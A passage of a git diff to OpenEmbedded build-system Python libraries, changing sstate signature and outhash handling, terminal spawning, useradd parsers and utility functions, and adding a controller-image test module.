+ if not path_prefix_strip:
+ return fn
+
+ fn_exp = fn.split(":")
+ if fn_exp[-1].startswith(path_prefix_strip):
+ fn_exp[-1] = fn_exp[-1][len(path_prefix_strip):]
+
+ return ":".join(fn_exp)
- def dump_siglist(self, sigfile):
with open(sigfile, "w") as f:
tasks = []
for taskitem in self.taskhash:
(fn, task) = taskitem.rsplit(":", 1)
pn = self.lockedpnmap[fn]
- tasks.append((pn, task, fn, self.taskhash[taskitem]))
+ tasks.append((pn, task, strip_fn(fn), self.taskhash[taskitem]))
for (pn, task, fn, taskhash) in sorted(tasks):
f.write('%s:%s %s %s\n' % (pn, task, fn, taskhash))
@@ -267,6 +272,15 @@ class SignatureGeneratorOEBasicHashMixIn(object):
warn_msgs = []
error_msgs = []
sstate_missing_msgs = []
+ info_msgs = None
+
+ if self.lockedsigs:
+ if len(self.lockedsigs) > 10:
+ self.lockedsigs_msgs = "There are %s recipes with locked tasks (%s task(s) have non matching signature)" % (len(self.lockedsigs), self.mismatch_number)
+ else:
+ self.lockedsigs_msgs = "The following recipes have locked tasks:"
+ for pn in self.lockedsigs:
+ self.lockedsigs_msgs += " %s" % (pn)
for tid in sq_data['hash']:
if tid not in found:
@@ -279,7 +293,9 @@ class SignatureGeneratorOEBasicHashMixIn(object):
% (pn, taskname, sq_data['hash'][tid]))
checklevel = d.getVar("SIGGEN_LOCKEDSIGS_TASKSIG_CHECK")
- if checklevel == 'warn':
+ if checklevel == 'info':
+ info_msgs = self.lockedsigs_msgs
+ if checklevel == 'warn' or checklevel == 'info':
warn_msgs += self.mismatch_msgs
elif checklevel == 'error':
error_msgs += self.mismatch_msgs
@@ -290,6 +306,8 @@ class SignatureGeneratorOEBasicHashMixIn(object):
elif checklevel == 'error':
error_msgs += sstate_missing_msgs
+ if info_msgs:
+ bb.note(info_msgs)
if warn_msgs:
bb.warn("\n".join(warn_msgs))
if error_msgs:
@@ -309,9 +327,21 @@ class SignatureGeneratorOEEquivHash(SignatureGeneratorOEBasicHashMixIn, bb.sigge
self.method = data.getVar('SSTATE_HASHEQUIV_METHOD')
if not self.method:
bb.fatal("OEEquivHash requires SSTATE_HASHEQUIV_METHOD to be set")
+ self.max_parallel = int(data.getVar('BB_HASHSERVE_MAX_PARALLEL') or 1)
+ self.username = data.getVar("BB_HASHSERVE_USERNAME")
+ self.password = data.getVar("BB_HASHSERVE_PASSWORD")
+ if not self.username or not self.password:
+ try:
+ n = netrc.netrc()
+ auth = n.authenticators(self.server)
+ if auth is not None:
+ self.username, _, self.password = auth
+ except FileNotFoundError:
+ pass
+ except netrc.NetrcParseError as e:
+ bb.warn("Error parsing %s:%s: %s" % (e.filename, str(e.lineno), e.msg))
# Insert these classes into siggen's namespace so it can see and select them
-bb.siggen.SignatureGeneratorOEBasic = SignatureGeneratorOEBasic
bb.siggen.SignatureGeneratorOEBasicHash = SignatureGeneratorOEBasicHash
bb.siggen.SignatureGeneratorOEEquivHash = SignatureGeneratorOEEquivHash
@@ -325,14 +355,14 @@ def find_siginfo(pn, taskname, taskhashlist, d):
if not taskname:
# We have to derive pn and taskname
key = pn
- splitit = key.split('.bb:')
- taskname = splitit[1]
- pn = os.path.basename(splitit[0]).split('_')[0]
- if key.startswith('virtual:native:'):
- pn = pn + '-native'
+ if key.startswith("mc:"):
+ # mc:<mc>:<pn>:<task>
+ _, _, pn, taskname = key.split(':', 3)
+ else:
+ # <pn>:<task>
+ pn, taskname = key.split(':', 1)
hashfiles = {}
- filedates = {}
def get_hashval(siginfo):
if siginfo.endswith('.siginfo'):
@@ -340,6 +370,9 @@ def find_siginfo(pn, taskname, taskhashlist, d):
else:
return siginfo.rpartition('.')[2]
+ def get_time(fullpath):
+ return os.stat(fullpath).st_mtime
+
# First search in stamps dir
localdata = d.createCopy()
localdata.setVar('MULTIMACH_TARGET_SYS', '*')
@@ -355,24 +388,21 @@ def find_siginfo(pn, taskname, taskhashlist, d):
filespec = '%s.%s.sigdata.*' % (stamp, taskname)
foundall = False
import glob
+ bb.debug(1, "Calling glob.glob on {}".format(filespec))
for fullpath in glob.glob(filespec):
match = False
if taskhashlist:
for taskhash in taskhashlist:
if fullpath.endswith('.%s' % taskhash):
- hashfiles[taskhash] = fullpath
+ hashfiles[taskhash] = {'path':fullpath, 'sstate':False, 'time':get_time(fullpath)}
if len(hashfiles) == len(taskhashlist):
foundall = True
break
else:
- try:
- filedates[fullpath] = os.stat(fullpath).st_mtime
- except OSError:
- continue
hashval = get_hashval(fullpath)
- hashfiles[hashval] = fullpath
+ hashfiles[hashval] = {'path':fullpath, 'sstate':False, 'time':get_time(fullpath)}
- if not taskhashlist or (len(filedates) < 2 and not foundall):
+ if not taskhashlist or (len(hashfiles) < 2 and not foundall):
# That didn't work, look in sstate-cache
hashes = taskhashlist or ['?' * 64]
localdata = bb.data.createCopy(d)
@@ -381,35 +411,32 @@ def find_siginfo(pn, taskname, taskhashlist, d):
localdata.setVar('TARGET_VENDOR', '*')
localdata.setVar('TARGET_OS', '*')
localdata.setVar('PN', pn)
+ # gcc-source is a special case, same as with local stamps above
+ if pn.startswith("gcc-source"):
+ localdata.setVar('PN', "gcc")
localdata.setVar('PV', '*')
localdata.setVar('PR', '*')
localdata.setVar('BB_TASKHASH', hashval)
+ localdata.setVar('SSTATE_CURRTASK', taskname[3:])
swspec = localdata.getVar('SSTATE_SWSPEC')
if taskname in ['do_fetch', 'do_unpack', 'do_patch', 'do_populate_lic', 'do_preconfigure'] and swspec:
localdata.setVar('SSTATE_PKGSPEC', '${SSTATE_SWSPEC}')
elif pn.endswith('-native') or "-cross-" in pn or "-crosssdk-" in pn:
localdata.setVar('SSTATE_EXTRAPATH', "${NATIVELSBSTRING}/")
- sstatename = taskname[3:]
- filespec = '%s_%s.*.siginfo' % (localdata.getVar('SSTATE_PKG'), sstatename)
+ filespec = '%s.siginfo' % localdata.getVar('SSTATE_PKG')
+ bb.debug(1, "Calling glob.glob on {}".format(filespec))
matchedfiles = glob.glob(filespec)
for fullpath in matchedfiles:
actual_hashval = get_hashval(fullpath)
if actual_hashval in hashfiles:
continue
- hashfiles[hashval] = fullpath
- if not taskhashlist:
- try:
- filedates[fullpath] = os.stat(fullpath).st_mtime
- except:
- continue
+ hashfiles[actual_hashval] = {'path':fullpath, 'sstate':True, 'time':get_time(fullpath)}
- if taskhashlist:
- return hashfiles
- else:
- return filedates
+ return hashfiles
bb.siggen.find_siginfo = find_siginfo
+bb.siggen.find_siginfo_version = 2
def sstate_get_manifest_filename(task, d):
@@ -439,13 +466,13 @@ def find_sstate_manifest(taskdata, taskdata2, taskname, d, multilibcache):
d2 = multilibcache[variant]
if taskdata.endswith("-native"):
- pkgarchs = ["${BUILD_ARCH}"]
+ pkgarchs = ["${BUILD_ARCH}", "${BUILD_ARCH}_${ORIGNATIVELSBSTRING}"]
elif taskdata.startswith("nativesdk-"):
pkgarchs = ["${SDK_ARCH}_${SDK_OS}", "allarch"]
elif "-cross-canadian" in taskdata:
pkgarchs = ["${SDK_ARCH}_${SDK_ARCH}-${SDKPKGSUFFIX}"]
elif "-cross-" in taskdata:
- pkgarchs = ["${BUILD_ARCH}_${TARGET_ARCH}"]
+ pkgarchs = ["${BUILD_ARCH}"]
elif "-crosssdk" in taskdata:
pkgarchs = ["${BUILD_ARCH}_${SDK_ARCH}_${SDK_OS}"]
else:
@@ -454,11 +481,15 @@ def find_sstate_manifest(taskdata, taskdata2, taskname, d, multilibcache):
pkgarchs.append('allarch')
pkgarchs.append('${SDK_ARCH}_${SDK_ARCH}-${SDKPKGSUFFIX}')
+ searched_manifests = []
+
for pkgarch in pkgarchs:
manifest = d2.expand("${SSTATE_MANIFESTS}/manifest-%s-%s.%s" % (pkgarch, taskdata, taskname))
if os.path.exists(manifest):
return manifest, d2
- bb.warn("Manifest %s not found in %s (variant '%s')?" % (manifest, d2.expand(" ".join(pkgarchs)), variant))
+ searched_manifests.append(manifest)
+ bb.fatal("The sstate manifest for task '%s:%s' (multilib variant '%s') could not be found.\nThe pkgarchs considered were: %s.\nBut none of these manifests exists:\n %s"
+ % (taskdata, taskname, variant, d2.expand(", ".join(pkgarchs)),"\n ".join(searched_manifests)))
return None, d2
def OEOuthashBasic(path, sigfile, task, d):
@@ -472,6 +503,8 @@ def OEOuthashBasic(path, sigfile, task, d):
import stat
import pwd
import grp
+ import re
+ import fnmatch
def update_hash(s):
s = s.encode('utf-8')
@@ -481,15 +514,37 @@ def OEOuthashBasic(path, sigfile, task, d):
h = hashlib.sha256()
prev_dir = os.getcwd()
+ corebase = d.getVar("COREBASE")
+ tmpdir = d.getVar("TMPDIR")
include_owners = os.environ.get('PSEUDO_DISABLED') == '0'
- extra_content = d.getVar('HASHEQUIV_HASH_VERSION')
+ if "package_write_" in task or task == "package_qa":
+ include_owners = False
+ include_timestamps = False
+ include_root = True
+ if task == "package":
+ include_timestamps = True
+ include_root = False
+ hash_version = d.getVar('HASHEQUIV_HASH_VERSION')
+ extra_sigdata = d.getVar("HASHEQUIV_EXTRA_SIGDATA")
+
+ filemaps = {}
+ for m in (d.getVar('SSTATE_HASHEQUIV_FILEMAP') or '').split():
+ entry = m.split(":")
+ if len(entry) != 3 or entry[0] != task:
+ continue
+ filemaps.setdefault(entry[1], [])
+ filemaps[entry[1]].append(entry[2])
try:
os.chdir(path)
+ basepath = os.path.normpath(path)
update_hash("OEOuthashBasic\n")
- if extra_content:
- update_hash(extra_content + "\n")
+ if hash_version:
+ update_hash(hash_version + "\n")
+
+ if extra_sigdata:
+ update_hash(extra_sigdata + "\n")
# It is only currently useful to get equivalent hashes for things that
# can be restored from sstate. Since the sstate object is named using
@@ -534,27 +589,33 @@ def OEOuthashBasic(path, sigfile, task, d):
else:
add_perm(stat.S_IXUSR, 'x')
- add_perm(stat.S_IRGRP, 'r')
- add_perm(stat.S_IWGRP, 'w')
- if stat.S_ISGID & s.st_mode:
- add_perm(stat.S_IXGRP, 's', 'S')
- else:
- add_perm(stat.S_IXGRP, 'x')
+ if include_owners:
+ # Group/other permissions are only relevant in pseudo context
+ add_perm(stat.S_IRGRP, 'r')
+ add_perm(stat.S_IWGRP, 'w')
+ if stat.S_ISGID & s.st_mode:
+ add_perm(stat.S_IXGRP, 's', 'S')
+ else:
+ add_perm(stat.S_IXGRP, 'x')
- add_perm(stat.S_IROTH, 'r')
- add_perm(stat.S_IWOTH, 'w')
- if stat.S_ISVTX & s.st_mode:
- update_hash('t')
- else:
- add_perm(stat.S_IXOTH, 'x')
+ add_perm(stat.S_IROTH, 'r')
+ add_perm(stat.S_IWOTH, 'w')
+ if stat.S_ISVTX & s.st_mode:
+ update_hash('t')
+ else:
+ add_perm(stat.S_IXOTH, 'x')
- if include_owners:
try:
update_hash(" %10s" % pwd.getpwuid(s.st_uid).pw_name)
update_hash(" %10s" % grp.getgrgid(s.st_gid).gr_name)
- except KeyError:
- bb.warn("KeyError in %s" % path)
- raise
+ except KeyError as e:
+ msg = ("KeyError: %s\nPath %s is owned by uid %d, gid %d, which doesn't match "
+ "any user/group on target. This may be due to host contamination." %
+ (e, os.path.abspath(path), s.st_uid, s.st_gid))
+ raise Exception(msg).with_traceback(e.__traceback__)
+
+ if include_timestamps:
+ update_hash(" %10d" % s.st_mtime)
update_hash(" ")
if stat.S_ISBLK(s.st_mode) or stat.S_ISCHR(s.st_mode):
@@ -562,8 +623,13 @@ def OEOuthashBasic(path, sigfile, task, d):
else:
update_hash(" " * 9)
+ filterfile = False
+ for entry in filemaps:
+ if fnmatch.fnmatch(path, entry):
+ filterfile = True
+
update_hash(" ")
- if stat.S_ISREG(s.st_mode):
+ if stat.S_ISREG(s.st_mode) and not filterfile:
update_hash("%10d" % s.st_size)
else:
update_hash(" " * 10)
@@ -572,9 +638,24 @@ def OEOuthashBasic(path, sigfile, task, d):
fh = hashlib.sha256()
if stat.S_ISREG(s.st_mode):
# Hash file contents
- with open(path, 'rb') as d:
- for chunk in iter(lambda: d.read(4096), b""):
+ if filterfile:
+ # Need to ignore paths in crossscripts and postinst-useradd files.
+ with open(path, 'rb') as d:
+ chunk = d.read()
+ chunk = chunk.replace(bytes(basepath, encoding='utf8'), b'')
+ for entry in filemaps:
+ if not fnmatch.fnmatch(path, entry):
+ continue
+ for r in filemaps[entry]:
+ if r.startswith("regex-"):
+ chunk = re.sub(bytes(r[6:], encoding='utf8'), b'', chunk)
+ else:
+ chunk = chunk.replace(bytes(r, encoding='utf8'), b'')
fh.update(chunk)
+ else:
+ with open(path, 'rb') as d:
+ for chunk in iter(lambda: d.read(4096), b""):
+ fh.update(chunk)
update_hash(fh.hexdigest())
else:
update_hash(" " * len(fh.hexdigest()))
@@ -587,11 +668,16 @@ def OEOuthashBasic(path, sigfile, task, d):
update_hash("\n")
# Process this directory and all its child files
- process(root)
+ if include_root or root != ".":
+ process(root)
for f in files:
if f == 'fixmepath':
continue
process(os.path.join(root, f))
+
+ for dir in dirs:
+ if os.path.islink(os.path.join(root, dir)):
+ process(os.path.join(root, dir))
finally:
os.chdir(prev_dir)
diff --git a/meta/lib/oe/terminal.py b/meta/lib/oe/terminal.py
index eb10a6e33e..4412bc14c1 100644
--- a/meta/lib/oe/terminal.py
+++ b/meta/lib/oe/terminal.py
@@ -1,11 +1,12 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
import logging
import oe.classutils
import shlex
from bb.process import Popen, ExecutionError
-from distutils.version import LooseVersion
logger = logging.getLogger('BitBake.OE.Terminal')
@@ -31,9 +32,10 @@ class Registry(oe.classutils.ClassRegistry):
class Terminal(Popen, metaclass=Registry):
def __init__(self, sh_cmd, title=None, env=None, d=None):
+ from subprocess import STDOUT
fmt_sh_cmd = self.format_command(sh_cmd, title)
try:
- Popen.__init__(self, fmt_sh_cmd, env=env)
+ Popen.__init__(self, fmt_sh_cmd, env=env, stderr=STDOUT)
except OSError as exc:
import errno
if exc.errno == errno.ENOENT:
@@ -86,10 +88,10 @@ class Konsole(XTerminal):
def __init__(self, sh_cmd, title=None, env=None, d=None):
# Check version
vernum = check_terminal_version("konsole")
- if vernum and LooseVersion(vernum) < '2.0.0':
+ if vernum and bb.utils.vercmp_string_op(vernum, "2.0.0", "<"):
# Konsole from KDE 3.x
self.command = 'konsole -T "{title}" -e {command}'
- elif vernum and LooseVersion(vernum) < '16.08.1':
+ elif vernum and bb.utils.vercmp_string_op(vernum, "16.08.1", "<"):
# Konsole pre 16.08.01 Has nofork
self.command = 'konsole --nofork --workdir . -p tabtitle="{title}" -e {command}'
XTerminal.__init__(self, sh_cmd, title, env, d)
@@ -102,6 +104,10 @@ class Rxvt(XTerminal):
command = 'rxvt -T "{title}" -e {command}'
priority = 1
+class URxvt(XTerminal):
+ command = 'urxvt -T "{title}" -e {command}'
+ priority = 1
+
class Screen(Terminal):
command = 'screen -D -m -t "{title}" -S devshell {command}'
@@ -163,7 +169,12 @@ class Tmux(Terminal):
# devshells, if it's already there, add a new window to it.
window_name = 'devshell-%i' % os.getpid()
- self.command = 'tmux new -c "{{cwd}}" -d -s {0} -n {0} "{{command}}"'.format(window_name)
+ self.command = 'tmux new -c "{{cwd}}" -d -s {0} -n {0} "{{command}}"'
+ if not check_tmux_version('1.9'):
+ # `tmux new-session -c` was added in 1.9;
+ # older versions fail with that flag
+ self.command = 'tmux new -d -s {0} -n {0} "{{command}}"'
+ self.command = self.command.format(window_name)
Terminal.__init__(self, sh_cmd, title, env, d)
attach_cmd = 'tmux att -t {0}'.format(window_name)
@@ -185,7 +196,7 @@ class Custom(Terminal):
Terminal.__init__(self, sh_cmd, title, env, d)
logger.warning('Custom terminal was started.')
else:
- logger.debug(1, 'No custom terminal (OE_TERMINAL_CUSTOMCMD) set')
+ logger.debug('No custom terminal (OE_TERMINAL_CUSTOMCMD) set')
raise UnsupportedTerminal('OE_TERMINAL_CUSTOMCMD not set')
@@ -216,7 +227,7 @@ def spawn_preferred(sh_cmd, title=None, env=None, d=None):
def spawn(name, sh_cmd, title=None, env=None, d=None):
"""Spawn the specified terminal, by name"""
- logger.debug(1, 'Attempting to spawn terminal "%s"', name)
+ logger.debug('Attempting to spawn terminal "%s"', name)
try:
terminal = Registry.registry[name]
except KeyError:
@@ -253,13 +264,18 @@ def spawn(name, sh_cmd, title=None, env=None, d=None):
except OSError:
return
+def check_tmux_version(desired):
+ vernum = check_terminal_version("tmux")
+ if vernum and bb.utils.vercmp_string_op(vernum, desired, "<"):
+ return False
+ return vernum
+
def check_tmux_pane_size(tmux):
import subprocess as sub
# On older tmux versions (<1.9), return false. The reason
# is that there is no easy way to get the height of the active panel
# on current window without nested formats (available from version 1.9)
- vernum = check_terminal_version("tmux")
- if vernum and LooseVersion(vernum) < '1.9':
+ if not check_tmux_version('1.9'):
return False
try:
p = sub.Popen('%s list-panes -F "#{?pane_active,#{pane_height},}"' % tmux,
diff --git a/meta/lib/oe/types.py b/meta/lib/oe/types.py
index bbbabafbf6..b929afb1f3 100644
--- a/meta/lib/oe/types.py
+++ b/meta/lib/oe/types.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
diff --git a/meta/lib/oe/useradd.py b/meta/lib/oe/useradd.py
index 8fc77568ff..54aa86feb5 100644
--- a/meta/lib/oe/useradd.py
+++ b/meta/lib/oe/useradd.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
import argparse
@@ -45,7 +47,6 @@ def build_useradd_parser():
parser.add_argument("-N", "--no-user-group", dest="user_group", help="do not create a group with the same name as the user", action="store_const", const=False)
parser.add_argument("-o", "--non-unique", help="allow to create users with duplicate (non-unique UID)", action="store_true")
parser.add_argument("-p", "--password", metavar="PASSWORD", help="encrypted password of the new account")
- parser.add_argument("-P", "--clear-password", metavar="CLEAR_PASSWORD", help="use this clear password for the new account")
parser.add_argument("-R", "--root", metavar="CHROOT_DIR", help="directory to chroot into")
parser.add_argument("-r", "--system", help="create a system account", action="store_true")
parser.add_argument("-s", "--shell", metavar="SHELL", help="login shell of the new account")
@@ -63,7 +64,6 @@ def build_groupadd_parser():
parser.add_argument("-K", "--key", metavar="KEY=VALUE", help="override /etc/login.defs defaults")
parser.add_argument("-o", "--non-unique", help="allow to create groups with duplicate (non-unique) GID", action="store_true")
parser.add_argument("-p", "--password", metavar="PASSWORD", help="use this encrypted password for the new group")
- parser.add_argument("-P", "--clear-password", metavar="CLEAR_PASSWORD", help="use this clear password for the new group")
parser.add_argument("-R", "--root", metavar="CHROOT_DIR", help="directory to chroot into")
parser.add_argument("-r", "--system", help="create a system account", action="store_true")
parser.add_argument("GROUP", help="Group name of the new group")
diff --git a/meta/lib/oe/utils.py b/meta/lib/oe/utils.py
index 13f4271da0..14a7d07ef0 100644
--- a/meta/lib/oe/utils.py
+++ b/meta/lib/oe/utils.py
@@ -1,10 +1,13 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
import subprocess
import multiprocessing
import traceback
+import errno
def read_file(filename):
try:
@@ -193,7 +196,7 @@ def parallel_make(d, makeinst=False):
return int(v)
- return None
+ return ''
def parallel_make_argument(d, fmt, limit=None, makeinst=False):
"""
@@ -221,12 +224,12 @@ def packages_filter_out_system(d):
PN-dbg PN-doc PN-locale-eb-gb removed.
"""
pn = d.getVar('PN')
- blacklist = [pn + suffix for suffix in ('', '-dbg', '-dev', '-doc', '-locale', '-staticdev', '-src')]
+ pkgfilter = [pn + suffix for suffix in ('', '-dbg', '-dev', '-doc', '-locale', '-staticdev', '-src')]
localepkg = pn + "-locale-"
pkgs = []
for pkg in d.getVar('PACKAGES').split():
- if pkg not in blacklist and localepkg not in pkg:
+ if pkg not in pkgfilter and localepkg not in pkg:
pkgs.append(pkg)
return pkgs
@@ -248,25 +251,31 @@ def trim_version(version, num_parts=2):
trimmed = ".".join(parts[:num_parts])
return trimmed
-def cpu_count(at_least=1):
- import multiprocessing
- cpus = multiprocessing.cpu_count()
- return max(cpus, at_least)
+def cpu_count(at_least=1, at_most=64):
+ cpus = len(os.sched_getaffinity(0))
+ return max(min(cpus, at_most), at_least)
def execute_pre_post_process(d, cmds):
if cmds is None:
return
- for cmd in cmds.strip().split(';'):
- cmd = cmd.strip()
- if cmd != '':
- bb.note("Executing %s ..." % cmd)
- bb.build.exec_func(cmd, d)
+ cmds = cmds.replace(";", " ")
+
+ for cmd in cmds.split():
+ bb.note("Executing %s ..." % cmd)
+ bb.build.exec_func(cmd, d)
-# For each item in items, call the function 'target' with item as the first
+def get_bb_number_threads(d):
+ return int(d.getVar("BB_NUMBER_THREADS") or os.cpu_count() or 1)
+
+def multiprocess_launch(target, items, d, extraargs=None):
+ max_process = get_bb_number_threads(d)
+ return multiprocess_launch_mp(target, items, max_process, extraargs)
+
+# For each item in items, call the function 'target' with item as the first
# argument, extraargs as the other arguments and handle any exceptions in the
# parent thread
-def multiprocess_launch(target, items, d, extraargs=None):
+def multiprocess_launch_mp(target, items, max_process, extraargs=None):
class ProcessLaunch(multiprocessing.Process):
def __init__(self, *args, **kwargs):
@@ -301,7 +310,6 @@ def multiprocess_launch(target, items, d, extraargs=None):
self.update()
return self._result
- max_process = int(d.getVar("BB_NUMBER_THREADS") or os.cpu_count() or 1)
launched = []
errors = []
results = []
@@ -345,7 +353,29 @@ def squashspaces(string):
import re
return re.sub(r"\s+", " ", string).strip()
-def format_pkg_list(pkg_dict, ret_format=None):
+def rprovides_map(pkgdata_dir, pkg_dict):
+ # Map file -> pkg provider
+ rprov_map = {}
+
+ for pkg in pkg_dict:
+ path_to_pkgfile = os.path.join(pkgdata_dir, 'runtime-reverse', pkg)
+ if not os.path.isfile(path_to_pkgfile):
+ continue
+ with open(path_to_pkgfile) as f:
+ for line in f:
+ if line.startswith('RPROVIDES') or line.startswith('FILERPROVIDES'):
+ # List all components provided by pkg.
+ # Exclude version strings, i.e. those starting with (
+ provides = [x for x in line.split()[1:] if not x.startswith('(')]
+ for prov in provides:
+ if prov in rprov_map:
+ rprov_map[prov].append(pkg)
+ else:
+ rprov_map[prov] = [pkg]
+
+ return rprov_map
+
+def format_pkg_list(pkg_dict, ret_format=None, pkgdata_dir=None):
output = []
if ret_format == "arch":
@@ -358,9 +388,15 @@ def format_pkg_list(pkg_dict, ret_format=None):
for pkg in sorted(pkg_dict):
output.append("%s %s %s" % (pkg, pkg_dict[pkg]["arch"], pkg_dict[pkg]["ver"]))
elif ret_format == "deps":
+ rprov_map = rprovides_map(pkgdata_dir, pkg_dict)
for pkg in sorted(pkg_dict):
for dep in pkg_dict[pkg]["deps"]:
- output.append("%s|%s" % (pkg, dep))
+ if dep in rprov_map:
+ # There could be multiple providers within the image
+ for pkg_provider in rprov_map[dep]:
+ output.append("%s|%s * %s [RPROVIDES]" % (pkg, pkg_provider, dep))
+ else:
+ output.append("%s|%s" % (pkg, dep))
else:
for pkg in sorted(pkg_dict):
output.append(pkg)
@@ -446,81 +482,6 @@ def get_multilib_datastore(variant, d):
localdata.setVar("MLPREFIX", "")
return localdata
-#
-# Python 2.7 doesn't have threaded pools (just multiprocessing)
-# so implement a version here
-#
-
-from queue import Queue
-from threading import Thread
-
-class ThreadedWorker(Thread):
- """Thread executing tasks from a given tasks queue"""
- def __init__(self, tasks, worker_init, worker_end):
- Thread.__init__(self)
- self.tasks = tasks
- self.daemon = True
-
- self.worker_init = worker_init
- self.worker_end = worker_end
-
- def run(self):
- from queue import Empty
-
- if self.worker_init is not None:
- self.worker_init(self)
-
- while True:
- try:
- func, args, kargs = self.tasks.get(block=False)
- except Empty:
- if self.worker_end is not None:
- self.worker_end(self)
- break
-
- try:
- func(self, *args, **kargs)
- except Exception as e:
- print(e)
- finally:
- self.tasks.task_done()
-
-class ThreadedPool:
- """Pool of threads consuming tasks from a queue"""
- def __init__(self, num_workers, num_tasks, worker_init=None,
- worker_end=None):
- self.tasks = Queue(num_tasks)
- self.workers = []
-
- for _ in range(num_workers):
- worker = ThreadedWorker(self.tasks, worker_init, worker_end)
- self.workers.append(worker)
-
- def start(self):
- for worker in self.workers:
- worker.start()
-
- def add_task(self, func, *args, **kargs):
- """Add a task to the queue"""
- self.tasks.put((func, args, kargs))
-
- def wait_completion(self):
- """Wait for completion of all the tasks in the queue"""
- self.tasks.join()
- for worker in self.workers:
- worker.join()
-
-def write_ld_so_conf(d):
- # Some utils like prelink may not have the correct target library paths
- # so write an ld.so.conf to help them
- ldsoconf = d.expand("${STAGING_DIR_TARGET}${sysconfdir}/ld.so.conf")
- if os.path.exists(ldsoconf):
- bb.utils.remove(ldsoconf)
- bb.utils.mkdirhier(os.path.dirname(ldsoconf))
- with open(ldsoconf, "w") as f:
- f.write(d.getVar("base_libdir") + '\n')
- f.write(d.getVar("libdir") + '\n')
-
class ImageQAFailed(Exception):
def __init__(self, description, name=None, logfile=None):
self.description = description
@@ -537,3 +498,45 @@ class ImageQAFailed(Exception):
def sh_quote(string):
import shlex
return shlex.quote(string)
+
+def directory_size(root, blocksize=4096):
+ """
+ Calculate the size of the directory, taking into account hard links,
+ rounding up every size to multiples of the blocksize.
+ """
+ def roundup(size):
+ """
+ Round the size up to the nearest multiple of the block size.
+ """
+ import math
+ return math.ceil(size / blocksize) * blocksize
+
+ def getsize(filename):
+ """
+ Get the size of the filename, not following symlinks, taking into
+ account hard links.
+ """
+ stat = os.lstat(filename)
+ if stat.st_ino not in inodes:
+ inodes.add(stat.st_ino)
+ return stat.st_size
+ else:
+ return 0
+
+ inodes = set()
+ total = 0
+ for root, dirs, files in os.walk(root):
+ total += sum(roundup(getsize(os.path.join(root, name))) for name in files)
+ total += roundup(getsize(root))
+ return total
+
+# Update the mtime of a file, skip if permission/read-only issues
+def touch(filename):
+ try:
+ os.utime(filename, None)
+ except PermissionError:
+ pass
+ except OSError as e:
+ # Handle read-only file systems gracefully
+ if e.errno != errno.EROFS:
+ raise e
diff --git a/meta/lib/oeqa/buildperf/base.py b/meta/lib/oeqa/buildperf/base.py
index 5f1805d86c..5d656c781a 100644
--- a/meta/lib/oeqa/buildperf/base.py
+++ b/meta/lib/oeqa/buildperf/base.py
@@ -444,7 +444,7 @@ class BuildPerfTestCase(unittest.TestCase):
buildstats = []
for fname in os.listdir(bs_dir):
recipe_dir = os.path.join(bs_dir, fname)
- if not os.path.isdir(recipe_dir):
+ if not os.path.isdir(recipe_dir) or fname == "reduced_proc_pressure":
continue
name, epoch, version, revision = split_nevr(fname)
recipe_bs = OrderedDict((('name', name),
diff --git a/meta/lib/oeqa/controllers/__init__.py b/meta/lib/oeqa/controllers/__init__.py
index cc3836c4bf..0fc905be9a 100644
--- a/meta/lib/oeqa/controllers/__init__.py
+++ b/meta/lib/oeqa/controllers/__init__.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
# Enable other layers to have modules in the same named directory
diff --git a/meta/lib/oeqa/controllers/controllerimage.py b/meta/lib/oeqa/controllers/controllerimage.py
new file mode 100644
index 0000000000..78a4aaff87
--- /dev/null
+++ b/meta/lib/oeqa/controllers/controllerimage.py
@@ -0,0 +1,199 @@
+# Copyright (C) 2014 Intel Corporation
+#
+# SPDX-License-Identifier: MIT
+#
+# This module adds support to testimage.bbclass to deploy images and run
+# tests using a "controller image" - this is a "known good" image that is
+# installed onto the device as part of initial setup and will be booted into
+# with no interaction; we can then use it to deploy the image to be tested
+# to a second partition before running the tests.
+#
+# For an example controller image, see core-image-testcontroller
+# (meta/recipes-extended/images/core-image-testcontroller.bb)
+
+import os
+import bb
+import traceback
+import time
+import subprocess
+
+import oeqa.targetcontrol
+import oeqa.utils.sshcontrol as sshcontrol
+import oeqa.utils.commands as commands
+from oeqa.utils import CommandError
+
+from abc import ABCMeta, abstractmethod
+
+class ControllerImageHardwareTarget(oeqa.targetcontrol.BaseTarget, metaclass=ABCMeta):
+
+ supported_image_fstypes = ['tar.gz', 'tar.bz2']
+
+ def __init__(self, d):
+ super(ControllerImageHardwareTarget, self).__init__(d)
+
+ # target ip
+ addr = d.getVar("TEST_TARGET_IP") or bb.fatal('Please set TEST_TARGET_IP with the IP address of the machine you want to run the tests on.')
+ self.ip = addr.split(":")[0]
+ try:
+ self.port = addr.split(":")[1]
+ except IndexError:
+ self.port = None
+ bb.note("Target IP: %s" % self.ip)
+ self.server_ip = d.getVar("TEST_SERVER_IP")
+ if not self.server_ip:
+ try:
+ self.server_ip = subprocess.check_output(['ip', 'route', 'get', self.ip ]).split("\n")[0].split()[-1]
+ except Exception as e:
+ bb.fatal("Failed to determine the host IP address (alternatively you can set TEST_SERVER_IP with the IP address of this machine): %s" % e)
+ bb.note("Server IP: %s" % self.server_ip)
+
+ # test rootfs + kernel
+ self.image_fstype = self.get_image_fstype(d)
+ self.rootfs = os.path.join(d.getVar("DEPLOY_DIR_IMAGE"), d.getVar("IMAGE_LINK_NAME") + '.' + self.image_fstype)
+ self.kernel = os.path.join(d.getVar("DEPLOY_DIR_IMAGE"), d.getVar("KERNEL_IMAGETYPE", False) + '-' + d.getVar('MACHINE', False) + '.bin')
+ if not os.path.isfile(self.rootfs):
+ # we could've checked that IMAGE_FSTYPES contains tar.gz but the config for running testimage might not be
+ # the same as the config with which the image was build, ie
+ # you bitbake core-image-sato with IMAGE_FSTYPES += "tar.gz"
+ # and your autobuilder overwrites the config, adds the test bits and runs bitbake core-image-sato -c testimage
+ bb.fatal("No rootfs found. Did you build the image ?\nIf yes, did you build it with IMAGE_FSTYPES += \"tar.gz\" ? \
+ \nExpected path: %s" % self.rootfs)
+ if not os.path.isfile(self.kernel):
+ bb.fatal("No kernel found. Expected path: %s" % self.kernel)
+
